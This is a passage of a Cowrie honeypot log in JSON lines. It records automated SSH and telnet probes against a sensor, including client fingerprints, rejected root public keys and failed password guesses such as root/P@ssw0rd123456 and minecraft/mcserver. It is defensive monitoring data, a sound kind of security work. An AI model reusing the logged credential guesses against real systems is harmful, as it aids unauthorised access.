14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:22.930294Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:dc:58:6d:c7:32:74:55:3b:78:ee:3a:a3:41:1c:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3IJJqmsJlXre232akmib7EufOM0dnyWo6XGSQrf8siRND4iBjAl0tsr0SPULcUgdf1+D6VEMFs0ktRKgaKWXqmjcBJncOMyAftg6YW1ygttCqC0zlvOHqumBTA54iXoCyNEMIc0JQICmhhFbYgoy72gqtLakU2DZ306wQ0o3s7nCMY1nGg0yGYrnLrbZMe4qHGPY4dWaI3DjxC5nP1k1OHCPAylJrG25/Hd0eSQhV3JML1+90pkaJTGtxZ1lk8PeqGY1CpCA1/cRAHvKZgwHo7f/g+0FgCYVdqiq5yVdTQXejrFFPc4GoAq6jGTMx8b/Z3Ua6QbW0C/eH0/aUkIvWYHcGmNYzulpIF9mr3ocDrfRoPNIGHPN0H45vWNTFDPfZ7IzlpTfqZ50VzlON6gkk8FbFM8kwnICodiceLflSo94lg4zz/anNv5UVsIb+HN2IL8a7bVaK64+Ddxako3F/TMLQ/N/Wu5c8F3iZNQ9nNZXYQIfGfEmWqTBp9XDC0ZSTrwc++3dk/H2dsPS1W6lW3/sh6lcoVWtq3ytmeeU7IkoZx3vNdUG3Egn9soylybl8bUFIAUKl7qRb2CldU7+zi4GrOHtSokVh21Oi+cIdkhlLMpT5ItjHqQ0jI51vG7ppevDg0+1mfS++p6FI6r+76rpPct7qBNwc9mOrfwBlIk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:dc:58:6d:c7:32:74:55:3b:78:ee:3a:a3:41:1c:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.315872Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:dc:58:6d:c7:32:74:55:3b:78:ee:3a:a3:41:1c:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3IJJqmsJlXre232akmib7EufOM0dnyWo6XGSQrf8siRND4iBjAl0tsr0SPULcUgdf1+D6VEMFs0ktRKgaKWXqmjcBJncOMyAftg6YW1ygttCqC0zlvOHqumBTA54iXoCyNEMIc0JQICmhhFbYgoy72gqtLakU2DZ306wQ0o3s7nCMY1nGg0yGYrnLrbZMe4qHGPY4dWaI3DjxC5nP1k1OHCPAylJrG25/Hd0eSQhV3JML1+90pkaJTGtxZ1lk8PeqGY1CpCA1/cRAHvKZgwHo7f/g+0FgCYVdqiq5yVdTQXejrFFPc4GoAq6jGTMx8b/Z3Ua6QbW0C/eH0/aUkIvWYHcGmNYzulpIF9mr3ocDrfRoPNIGHPN0H45vWNTFDPfZ7IzlpTfqZ50VzlON6gkk8FbFM8kwnICodiceLflSo94lg4zz/anNv5UVsIb+HN2IL8a7bVaK64+Ddxako3F/TMLQ/N/Wu5c8F3iZNQ9nNZXYQIfGfEmWqTBp9XDC0ZSTrwc++3dk/H2dsPS1W6lW3/sh6lcoVWtq3ytmeeU7IkoZx3vNdUG3Egn9soylybl8bUFIAUKl7qRb2CldU7+zi4GrOHtSokVh21Oi+cIdkhlLMpT5ItjHqQ0jI51vG7ppevDg0+1mfS++p6FI6r+76rpPct7qBNwc9mOrfwBlIk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.320058Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:c7:9c:a0:48:66:26:cd:66:d2:48:18:37:1b:70:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9eZ17psuhQCEz1qnYI8UnWNbA1OYYBfT/L65/5wF2k5xduzyJf3BtIGxdWLYd7j2+mwyA6KzdMaYJcsYjDjVKE1eyhARBx0CkUSuVtrV7nqi2NBdPQ9fQJ13awYQwbf4FWlIlEOY9f0RIVyLFSMquEPTDBsCQRa4LoGk5xzDsr0C++0bvdedk+77TQy9iPvtKe90Ov9ZkojZVry1Wn7wls+AAz3QHdZNPEII5ewA2o3lDQHeWhi/GX08CZDZXQlcQtNzrwPFXrzhIiRMWR8X2zKM2RRPM9E27vi5K+bh05ZtAINh56ULwhEKCIBwFy+dpOEJghm5IKypqK7ofJYuHWPQlBqwUG4dOWJFKCl0mCnpRiUPHH5ojrZ0PMM2y8IN7k6T1lnjLKh+cqCnloqolkRCCPGFqHd6RkO8TebyS5huaLfpszNLiLQfq7KyTh/v+BkQZhV4K6Y25Hph/hGoa40AUxHd5GVEa95vlSfX7z4o6Tb66B/2vDYnsg0/nJrs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:c7:9c:a0:48:66:26:cd:66:d2:48:18:37:1b:70:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.401847Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:c7:9c:a0:48:66:26:cd:66:d2:48:18:37:1b:70:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9eZ17psuhQCEz1qnYI8UnWNbA1OYYBfT/L65/5wF2k5xduzyJf3BtIGxdWLYd7j2+mwyA6KzdMaYJcsYjDjVKE1eyhARBx0CkUSuVtrV7nqi2NBdPQ9fQJ13awYQwbf4FWlIlEOY9f0RIVyLFSMquEPTDBsCQRa4LoGk5xzDsr0C++0bvdedk+77TQy9iPvtKe90Ov9ZkojZVry1Wn7wls+AAz3QHdZNPEII5ewA2o3lDQHeWhi/GX08CZDZXQlcQtNzrwPFXrzhIiRMWR8X2zKM2RRPM9E27vi5K+bh05ZtAINh56ULwhEKCIBwFy+dpOEJghm5IKypqK7ofJYuHWPQlBqwUG4dOWJFKCl0mCnpRiUPHH5ojrZ0PMM2y8IN7k6T1lnjLKh+cqCnloqolkRCCPGFqHd6RkO8TebyS5huaLfpszNLiLQfq7KyTh/v+BkQZhV4K6Y25Hph/hGoa40AUxHd5GVEa95vlSfX7z4o6Tb66B/2vDYnsg0/nJrs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.405647Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:1d:c3:20:b8:14:b1:5b:d0:05:2d:11:44:f0:37:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJion4Kt48lBxfimeEDZ4MmN7RmU7omKBjfESBZz7IKAxw1QNKBEIHUJ+n8JwUaJZ4TURWaRl+9qcKH1yNkWcwLlRUIK2kEKLWoW6OcjLgATkJbcNuvD2QCt4UXuJPsVES2PVwvhIBwF4EE5i+eYvaABUEoCMsuVbZH+3BbjWj/db5CEA9X0OnDWpnHsIPsS/1PaTi7zx+3oqFmpvXnh0K7OUn4o2nxSzrUF+v7hiluO31ee6io5ugkKuCzQdn2czwyl0TPPIg1PC7mp6avbzHmSd+GZqGrasH9BkJ5/bY+pnljdjMpr3jsaCvQAssF8PGz/atCTnCzcDQjXoak9++kDR5tQUzszGEDP3EPU0WORoLRzelYI3o5RXO9dRlEU2VKEcfM+B99Mf+ZHm9L+cJxDNzvLY5QJRRGAVQIBUpr1cTn3r/vsgMz18HzkKtAw9h8ePtYTzwDUdERjI7yrUjvaSytJIDeuIzMCGBpwmcKmX26aEVUITOVirvWgv2xx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:1d:c3:20:b8:14:b1:5b:d0:05:2d:11:44:f0:37:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.491597Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:1d:c3:20:b8:14:b1:5b:d0:05:2d:11:44:f0:37:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJion4Kt48lBxfimeEDZ4MmN7RmU7omKBjfESBZz7IKAxw1QNKBEIHUJ+n8JwUaJZ4TURWaRl+9qcKH1yNkWcwLlRUIK2kEKLWoW6OcjLgATkJbcNuvD2QCt4UXuJPsVES2PVwvhIBwF4EE5i+eYvaABUEoCMsuVbZH+3BbjWj/db5CEA9X0OnDWpnHsIPsS/1PaTi7zx+3oqFmpvXnh0K7OUn4o2nxSzrUF+v7hiluO31ee6io5ugkKuCzQdn2czwyl0TPPIg1PC7mp6avbzHmSd+GZqGrasH9BkJ5/bY+pnljdjMpr3jsaCvQAssF8PGz/atCTnCzcDQjXoak9++kDR5tQUzszGEDP3EPU0WORoLRzelYI3o5RXO9dRlEU2VKEcfM+B99Mf+ZHm9L+cJxDNzvLY5QJRRGAVQIBUpr1cTn3r/vsgMz18HzkKtAw9h8ePtYTzwDUdERjI7yrUjvaSytJIDeuIzMCGBpwmcKmX26aEVUITOVirvWgv2xx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.495338Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:1a:54:30:2d:04:ae:03:af:3a:98:65:cc:36:c9:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArdzD3p8MgSmSos9XO0dH2yPpZxCR4EbdsVIpmQxNDk1TjsBhPxjgr1O9a6muXWMwTx8lbve9ZV1AUoIAOHQzpD17sysNO/G9o+1ZX1/ckYw9w8JSiSVfZCer0X/nsb+fytCzqn9ypfD2de4uouWUQuGsMpbKuaYyo18t9BKrJvEEkL9l22MngdX88CE4qPklAcm9xQQy8WBrvWU651evwhi/uufSWTDaiflOG+SiGzT7bK6wFeLYWeVcVsEtfGzCnf+JnWpDapchhMDGW+tZoUlZybgc5Nr6VFCQqYesPt9QYoHX7v0FxekHgUHq6XeCQCbIHmfBTTet7h18CjgyAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:1a:54:30:2d:04:ae:03:af:3a:98:65:cc:36:c9:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.575919Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:1a:54:30:2d:04:ae:03:af:3a:98:65:cc:36:c9:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArdzD3p8MgSmSos9XO0dH2yPpZxCR4EbdsVIpmQxNDk1TjsBhPxjgr1O9a6muXWMwTx8lbve9ZV1AUoIAOHQzpD17sysNO/G9o+1ZX1/ckYw9w8JSiSVfZCer0X/nsb+fytCzqn9ypfD2de4uouWUQuGsMpbKuaYyo18t9BKrJvEEkL9l22MngdX88CE4qPklAcm9xQQy8WBrvWU651evwhi/uufSWTDaiflOG+SiGzT7bK6wFeLYWeVcVsEtfGzCnf+JnWpDapchhMDGW+tZoUlZybgc5Nr6VFCQqYesPt9QYoHX7v0FxekHgUHq6XeCQCbIHmfBTTet7h18CjgyAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.579803Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:65:40:0f:7a:37:b2:41:a9:be:ac:cd:a3:5a:ae:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzdaLR0qeCbGh+IWKeLah59ZZ6swzgAE2kyndldr7dSFTJR4C0Mn3zPkX+0fbQ86cePlucYvy+GE8RuSZuGpjqP666VyDh2tde9fzLFxkIpO+ohv1jXcVEiXt814i4b6EU1OT1HMvUG+Xl/Gyw0geg6d72JeGiFAx/QGDMrfEOu+o7iHWcMNc8vOJheZZaAqgopYJsY0oRGYJfM7rlT0AdXsjhzIHbpZpKAwlyqVuR6RxO7D/Gkqn9H6chGldyC0O40pAZAGyVd0ktJlyqorNv3SJzB050rq1Qk9oCoKV3eT1owyd955kWNC2zO68LJkshlIYL+MiRXtvPMER/+W5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:65:40:0f:7a:37:b2:41:a9:be:ac:cd:a3:5a:ae:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.663300Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:65:40:0f:7a:37:b2:41:a9:be:ac:cd:a3:5a:ae:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzdaLR0qeCbGh+IWKeLah59ZZ6swzgAE2kyndldr7dSFTJR4C0Mn3zPkX+0fbQ86cePlucYvy+GE8RuSZuGpjqP666VyDh2tde9fzLFxkIpO+ohv1jXcVEiXt814i4b6EU1OT1HMvUG+Xl/Gyw0geg6d72JeGiFAx/QGDMrfEOu+o7iHWcMNc8vOJheZZaAqgopYJsY0oRGYJfM7rlT0AdXsjhzIHbpZpKAwlyqVuR6RxO7D/Gkqn9H6chGldyC0O40pAZAGyVd0ktJlyqorNv3SJzB050rq1Qk9oCoKV3eT1owyd955kWNC2zO68LJkshlIYL+MiRXtvPMER/+W5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.667333Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:23.751039Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"21ba57f8f7a1","protocol":"ssh","message":"New connection: 103.15.226.202:49776 (10.17.0.5:22) [session: 21ba57f8f7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:40.275156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:40.280138Z","src_ip":"103.15.226.202","session":"21ba57f8f7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:40.521374Z","src_ip":"103.15.226.202","session":"21ba57f8f7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123456","message":"login attempt [root/P@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:41.245467Z","src_ip":"103.15.226.202","session":"21ba57f8f7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:42.489782Z","src_ip":"103.15.226.202","session":"21ba57f8f7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.50.160.97","src_port":32443,"dst_ip":"10.17.0.5","dst_port":23,"session":"8061f6c9f6c9","protocol":"telnet","message":"New connection: 2.50.160.97:32443 (10.17.0.5:23) [session: 8061f6c9f6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:31:04.602737Z"}
{"eventid":"cowrie.session.closed","duration":12.806846380233765,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:31:17.409328Z","src_ip":"2.50.160.97","session":"8061f6c9f6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28635,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f8ecce9e63","protocol":"telnet","message":"New connection: 212.55.149.117:28635 (10.17.0.5:23) [session: a8f8ecce9e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:31:33.057812Z"}
{"eventid":"cowrie.session.closed","duration":120.02406358718872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:33.081767Z","src_ip":"212.55.149.117","session":"a8f8ecce9e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":51978,"dst_ip":"10.17.0.5","dst_port":23,"session":"e235b6b3f30e","protocol":"telnet","message":"New connection: 172.104.93.159:51978 (10.17.0.5:23) [session: e235b6b3f30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:33.840380Z"}
{"eventid":"cowrie.session.closed","duration":10.163407564163208,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:44.003665Z","src_ip":"172.104.93.159","session":"e235b6b3f30e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":55708,"dst_ip":"10.17.0.5","dst_port":22,"session":"472c875d1c62","protocol":"ssh","message":"New connection: 57.128.223.80:55708 (10.17.0.5:22) [session: 472c875d1c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:55.445292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:55.522186Z","src_ip":"57.128.223.80","session":"472c875d1c62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:55.623080Z","src_ip":"57.128.223.80","session":"472c875d1c62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mcserver","message":"login attempt [minecraft/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:56.082759Z","src_ip":"57.128.223.80","session":"472c875d1c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:33:57.205197Z","src_ip":"57.128.223.80","session":"472c875d1c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44358,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ecc2d016742","protocol":"ssh","message":"New connection: 103.15.226.202:44358 (10.17.0.5:22) [session: 3ecc2d016742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:15.803925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:15.809123Z","src_ip":"103.15.226.202","session":"3ecc2d016742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:16.053612Z","src_ip":"103.15.226.202","session":"3ecc2d016742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^123456","message":"login attempt [root/!@#$%^123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:16.803922Z","src_ip":"103.15.226.202","session":"3ecc2d016742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:18.050028Z","src_ip":"103.15.226.202","session":"3ecc2d016742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7872,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ffcbc79ee3","protocol":"telnet","message":"New connection: 212.55.149.117:7872 (10.17.0.5:23) [session: a8ffcbc79ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:34:43.290779Z"}
{"eventid":"cowrie.session.closed","duration":59.56316018104553,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:35:42.853851Z","src_ip":"212.55.149.117","session":"a8ffcbc79ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.144","src_port":53710,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa38f8689aaa","protocol":"ssh","message":"New connection: 198.20.127.144:53710 (10.17.0.5:22) [session: aa38f8689aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.390560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:36:54.395890Z","src_ip":"198.20.127.144","session":"aa38f8689aaa","protocol":"ssh"}
